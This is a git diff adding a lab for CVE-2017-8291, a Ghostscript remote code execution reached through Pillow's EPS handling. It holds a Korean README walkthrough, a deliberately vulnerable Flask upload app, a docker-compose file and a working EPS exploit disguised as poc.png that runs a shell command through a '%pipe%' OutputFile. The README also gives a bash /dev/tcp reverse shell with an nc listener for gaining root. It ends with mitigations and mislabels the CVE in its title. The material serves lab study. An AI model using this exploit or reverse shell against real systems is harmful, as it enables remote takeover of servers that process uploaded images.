diff --git a/python/PIL-CVE-2017-8291/README.md b/python/PIL-CVE-2017-8291/README.md new file mode 100644 index 00000000..409003a3 --- /dev/null +++ b/python/PIL-CVE-2017-8291/README.md @@ -0,0 +1,164 @@ +# PIL-CVE-2017-7529 + +**Contributors** + +- [김정훈(@wjdgnsdl213)](https://github.com/wjdgnsdl213) + +
+ +## 요약 +- `Python`에서 이미지 처리를 담당하는 `PIL(Pillow)` 모듈은 내부적으로 `GhostScript`를 호출하여 작업을 처리함. +- 이 과정에서 `GhostScript`의 취약점으로 인해 발생하는 보안 이슈에 `PIL(Pillow)` 또한 영향을 받게 됨. +- 특히, 이 취약점은 원격에서 악의적인 명령을 실행할 수 있는 문제를 일으키며, 이를 통해 공격자는 취약한 시스템을 원격 제어할 수 있는 권한을 획득할 수 있음. + +## 이미지 인식 방법 +- PIL은 이미지의 종류를 식별하기 위해 `'Magic Bytes'`라는 방식을 사용. 특히, 이미지가 EPS 형식 (헤더는 '%!PS')인 경우, PIL은 `EpsImagePlugin.py` 모듈로 처리. + +- 이 모듈 내에서, `PIL`은 `gs` 명령어를 호출하여 `GhostScript`로 이미지를 처리. + ```python + command = [ + "gs", # GhostScript command + "-q", # quiet mode + "-g%dx%d" % size, # set output geometry (pixels) + "-r%fx%f" % res, # set input DPI (dots per inch) + "-dBATCH", # exit after processing + "-dNOPAUSE", # don't pause between pages + "-dSAFER", # safe mode + "-sDEVICE=ppmraw", # ppm driver + "-sOutputFile=%s" % outfile, # output file + "-c", "%d %d translate" % (-bbox[0], -bbox[1]), # adjust for image origin + "-f", infile, # input file + ] + + # GhostScript를 사용하여 이미지를 변환하는 코드 + try: + with open(os.devnull, 'wb') as devnull: + subprocess.check_call(command, stdin=devnull, stdout=devnull) + im = Image.open(outfile) + except Exception as e: + # handle the exception as needed + pass + ``` + +
+ +## 환경 구성 및 실행 + +|구분|시스템 이름|IP 주소| +|:--:|:--------:|:-----:| +|**사용자**|Ubuntu|192.168.81.136| +|**공격자**|Kali|192.168.81.137| + +
+ +- Ubuntu에서 vulhub취약점 소스 코드를 가져온다. (Kali 에서도 가져온다.) + + ![Alt text](image-1.png) + +
+ +- PIL-CVE-2017-8291 파일 확인 + + ![Alt text](image-2.png) + +
+ +- docker-compose up -d 명령을 실행하여 이미지를 가져온다. + + ![Alt text](image-4.png) + +
+ +- kali로 우분투 IP의 8000번 포트로 아래 사이트에 들어간다. + + ![Alt text](image-8.png) + +
+ + +- 먼저 vi로 poc.png 파일의 코드를 확인한다. 내용은 다음과 같다. + + ![Alt text](image-7.png) + + > 파일이 업로드 되면 /tmp/ 디렉토리에 aaaaa파일이 생성된다. + +
+ +- 그리고 kali에 다운받은 poc.png 파일을 업로드한다. + + ![Alt text](image-5.png) + + ![Alt text](image-9.png) + +
+ +- docker환경에 aaaaa파일을 확인하여 취약점 존재 여부를 검증하면, + + ![Alt text](image-10.png) + + tmp 디렉터리에 aaaaa 파일이 성공적으로 생성되어 취약점이 있음을 알 수 있다. + +
+ +- ### 바인드 셸 명령을 통해 root 권한 얻기 + +- kali에서 poc.png 파일의 코드를 다음과 같이 수정한다. + + `bash -c "bash -i >& /dev/tcp/192.168.32.1/8002 0>&1"` + + ![Alt text](image-11.png) + +- kali에서 listening port 8002를 열고 기다린다. + + `nc -l -p 8002` + + ![Alt text](image-12.png) + +- kali에서 수정한 poc.png 파일을 다시 업로드 후 리스닝 포트가 셸을 성공적으로 리바운드한다. + + ![Alt text](image-13.png) + + +
+ +## 결과 + + ![Alt text](image-13.png) + +
+ +## 취약점 대응 방안 및 권장 사항 +- GhostScript의 버전 문제로 PIL만 업데이트해도 해결되지 않으며, pip를 통한 업데이트도 효과가 없음. + +- Python 웹 어플리케이션에서는 EPS 이미지 파일 처리가 드물지만, 처리 시 문제가 발생할 수 있음. 특히, PIL의 Image 모듈의 init() 함수 때문에 GhostScript 취약점에 노출될 수 있음. + + +- 특정 이미지 형식만 처리하기 + - 코드상에서, PIL은 기본적으로 init() 함수를 통해 모든 이미지 형식의 처리 방법을 로드 하려 함. 그러나 PIL은 preinit() 메서드를 제공하여 Bmp, Gif, Jpeg, Ppm, Png와 같은 일반적인 이미지 형식의 처리 방법만 로드할 수 있음. 이를 사용하면 GhostScript를 호출하여 EPS 파일을 파싱하는 것을 방지할 수 있음. + + ```python + def init(): + global _initialized + if _initialized >= 2: + return 0 + + for plugin in _plugins: + try: + logger.debug("Importing %s", plugin) + __import__("PIL.%s" % plugin, globals(), locals(), []) + except ImportError as e: + logger.debug("Image: failed to import %s: %s", plugin, e) + ``` + +- Image 모듈의 초기화 방식 변경 + - open 함수를 사용하여 이미지 파일을 열기 전에 preinit()을 사용하고, _initialized 값을 2 이상으로 설정하여, Image 모듈이 EPS 파일을 파싱하기 위해 GhostScript를 호출하는 것을 방지하도록 변경하는 것이 좋습니다. + + ```python + Image.preinit() + Image._initialized = 2 + ``` + +## 정리 + +- 이 문서는 실제 보안 취약점 테스트 환경에서 진행된 공격 시나리오를 담고 있으며, `CVE-2017-8291`이라는 심각한 보안 취약점을 어떻게 이용할 수 있는지 보여줌. +- 성공적인 공격은 시스템의 루트 제어를 가능하게 함. diff --git a/python/PIL-CVE-2017-8291/app.py b/python/PIL-CVE-2017-8291/app.py new file mode 100644 index 00000000..7565fea8 --- /dev/null +++ b/python/PIL-CVE-2017-8291/app.py @@ -0,0 +1,72 @@ +'''get image size app''' +# coding=utf-8 + +import os +from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages +from PIL import Image +from werkzeug.utils import secure_filename + +UPLOAD_FOLDER = '/tmp' +ALLOWED_EXTENSIONS = set(['png']) + +app = Flask(__name__) +app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER +app.secret_key = 'test' + +def get_img_size(filepath=""): + '''이미지의 가로와 세로 길이를 가져옵니다.''' + try: + img = Image.open(filepath) + img.load() + return img.size + except: + return (0, 0) + +def allowed_file(filename): + '''파일 확장자가 허용되는지 확인합니다.''' + return '.' in filename and \ + filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS + +@app.route('/', methods=['GET', 'POST']) +def upload_file(): + '''파일 업로드 앱''' + if request.method == 'POST': + if 'file' not in request.files: + flash('No file part') + return redirect(request.url) + image_file = request.files['file'] + if image_file.filename == '': + flash('No selected file') + return redirect(request.url) + if not allowed_file(image_file.filename): + flash('File type don\'t allowed') + return redirect(request.url) + if image_file: + filename = secure_filename(image_file.filename) + img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) + image_file.save(img_path) + height, width = get_img_size(img_path) + return 'the image\'s height : {}, width : {}; '\ + .format(height, width) + + return render_template_string(''' + + Upload new File +

Upload new File

+ {% with messages = get_flashed_messages() %} + {% if messages %} + + {% endif %} + {% endwith %} +
+

+ +

+ ''') + +if __name__ == '__main__': + app.run(threaded=True, port=8000, host="0.0.0.0") diff --git a/python/PIL-CVE-2017-8291/docker-compose.yml b/python/PIL-CVE-2017-8291/docker-compose.yml new file mode 100644 index 00000000..008b06ac --- /dev/null +++ b/python/PIL-CVE-2017-8291/docker-compose.yml @@ -0,0 +1,9 @@ +version: '2' +services: + web: + image: vulhub/ghostscript:9.21-with-flask + command: python app.py + volumes: + - ./app.py:/usr/src/app.py + ports: + - "8000:8000" \ No newline at end of file diff --git a/python/PIL-CVE-2017-8291/image-1.png b/python/PIL-CVE-2017-8291/image-1.png new file mode 100644 index 00000000..cc1544e2 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-1.png differ diff --git a/python/PIL-CVE-2017-8291/image-10.png b/python/PIL-CVE-2017-8291/image-10.png new file mode 100644 index 00000000..5817a9e3 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-10.png differ diff --git a/python/PIL-CVE-2017-8291/image-11.png b/python/PIL-CVE-2017-8291/image-11.png new file mode 100644 index 00000000..9cbbf180 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-11.png differ diff --git a/python/PIL-CVE-2017-8291/image-12.png b/python/PIL-CVE-2017-8291/image-12.png new file mode 100644 index 00000000..43a4a541 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-12.png differ diff --git a/python/PIL-CVE-2017-8291/image-13.png b/python/PIL-CVE-2017-8291/image-13.png new file mode 100644 index 00000000..c5f6e954 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-13.png differ diff --git a/python/PIL-CVE-2017-8291/image-2.png b/python/PIL-CVE-2017-8291/image-2.png new file mode 100644 index 00000000..1f68c368 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-2.png differ diff --git a/python/PIL-CVE-2017-8291/image-3.png b/python/PIL-CVE-2017-8291/image-3.png new file mode 100644 index 00000000..e8c8ec4e Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-3.png differ diff --git a/python/PIL-CVE-2017-8291/image-4.png b/python/PIL-CVE-2017-8291/image-4.png new file mode 100644 index 00000000..e87d4c1c Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-4.png differ diff --git a/python/PIL-CVE-2017-8291/image-5.png b/python/PIL-CVE-2017-8291/image-5.png new file mode 100644 index 00000000..44090c5c Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-5.png differ diff --git a/python/PIL-CVE-2017-8291/image-7.png b/python/PIL-CVE-2017-8291/image-7.png new file mode 100644 index 00000000..f4c631f1 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-7.png differ diff --git a/python/PIL-CVE-2017-8291/image-8.png b/python/PIL-CVE-2017-8291/image-8.png new file mode 100644 index 00000000..221897b0 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-8.png differ diff --git a/python/PIL-CVE-2017-8291/image-9.png b/python/PIL-CVE-2017-8291/image-9.png new file mode 100644 index 00000000..8356ea71 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image-9.png differ diff --git a/python/PIL-CVE-2017-8291/image.png b/python/PIL-CVE-2017-8291/image.png new file mode 100644 index 00000000..cc1544e2 Binary files /dev/null and b/python/PIL-CVE-2017-8291/image.png differ diff --git a/python/PIL-CVE-2017-8291/poc.png b/python/PIL-CVE-2017-8291/poc.png new file mode 100644 index 00000000..a73ea12a --- /dev/null +++ b/python/PIL-CVE-2017-8291/poc.png @@ -0,0 +1,100 @@ +%!PS-Adobe-3.0 EPSF-3.0 +%%BoundingBox: -0 -0 100 100 + + +/size_from 10000 def +/size_step 500 def +/size_to 65000 def +/enlarge 1000 def + +%/bigarr 65000 array def + +0 +size_from size_step size_to { + pop + 1 add +} for + +/buffercount exch def + +/buffersizes buffercount array def + + +0 +size_from size_step size_to { + buffersizes exch 2 index exch put + 1 add +} for +pop + +/buffers buffercount array def + +0 1 buffercount 1 sub { + /ind exch def + buffersizes ind get /cursize exch def + cursize string /curbuf exch def + buffers ind curbuf put + cursize 16 sub 1 cursize 1 sub { + curbuf exch 255 put + } for +} for + + +/buffersearchvars [0 0 0 0 0] def +/sdevice [0] def + +enlarge array aload + +{ + .eqproc + buffersearchvars 0 buffersearchvars 0 get 1 add put + buffersearchvars 1 0 put + buffersearchvars 2 0 put + buffercount { + buffers buffersearchvars 1 get get + buffersizes buffersearchvars 1 get get + 16 sub get + 254 le { + buffersearchvars 2 1 put + buffersearchvars 3 buffers buffersearchvars 1 get get put + buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put + } if + buffersearchvars 1 buffersearchvars 1 get 1 add put + } repeat + + buffersearchvars 2 get 1 ge { + exit + } if + %(.) print +} loop + +.eqproc +.eqproc +.eqproc +sdevice 0 +currentdevice +buffersearchvars 3 get buffersearchvars 4 get 16#7e put +buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put +buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put +put + + +buffersearchvars 0 get array aload + +sdevice 0 get +16#3e8 0 put + +sdevice 0 get +16#3b0 0 put + +sdevice 0 get +16#3f0 0 put + + +currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa) +.putdeviceparams +1 true .outputpage +.rsdparams +%{ } loop +0 0 .quit +%asdf